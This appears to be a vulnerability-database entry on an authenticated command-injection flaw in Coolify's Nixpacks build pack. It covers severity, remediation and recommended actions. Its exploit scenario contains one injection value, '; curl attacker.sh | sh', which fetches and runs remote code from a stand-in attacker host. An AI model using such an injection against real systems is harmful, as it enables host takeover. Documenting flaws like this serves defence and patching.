Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.470, a critical Authenticated Host Remote Code Execution (RCE) vulnerability was discovered in Coolify. The flaw resides in the handling of user-defined build parameters for the Nixpacks build pack. Specifically, the install_command provided by a user is directly concatenated into a shell command string that is executed on the deployment host during the building phase. An attacker can leverage this to escape the intended build context and execute arbitrary commands with host-level privileges. This vulnerability is fixed in 4.0.0-beta.470.
AnalysisAI
Authenticated remote code execution in Coolify (self-hosted PaaS) before 4.0.0-beta.470 lets a low-privileged authenticated user run arbitrary commands on the deployment host. The flaw is an OS command injection in the Nixpacks build pack: the user-supplied install_command build parameter is concatenated unsanitized into a shell command executed during the build phase, allowing escape from the build context to host-level command execution. …

Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an authenticated Coolify account (CVSS PR:L) with permission to configure a deployment, and the target application must use the Nixpacks build pack where the attacker can set the install_command build parameter. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 base score is 8.8 (High) with vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, indicating network-reachable, low-complexity exploitation requiring only low privileges and no user interaction, with full confidentiality/integrity/availability impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with a low-privileged Coolify account (for example, a developer on a shared instance) creates or edits an application configured to build with Nixpacks and sets the install_command to a value containing shell metacharacters such as `; curl attacker.sh | sh`. When the deployment build runs, the injected command executes on the deployment host with the build process's privileges, giving the attacker command execution beyond the intended build sandbox. … |
| Remediation | Upgrade to the patched release Coolify 4.0.0-beta.470, which contains the fix (Vendor-released patch: 4.0.0-beta.470); see the advisory at https://github.com/coollabsio/coolify/security/advisories/GHSA-9pp4-wcmj-rq73. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Audit all Coolify instances to confirm versions and restrict build configuration permissions to administrators only; disable Nixpacks builds if not actively required. …
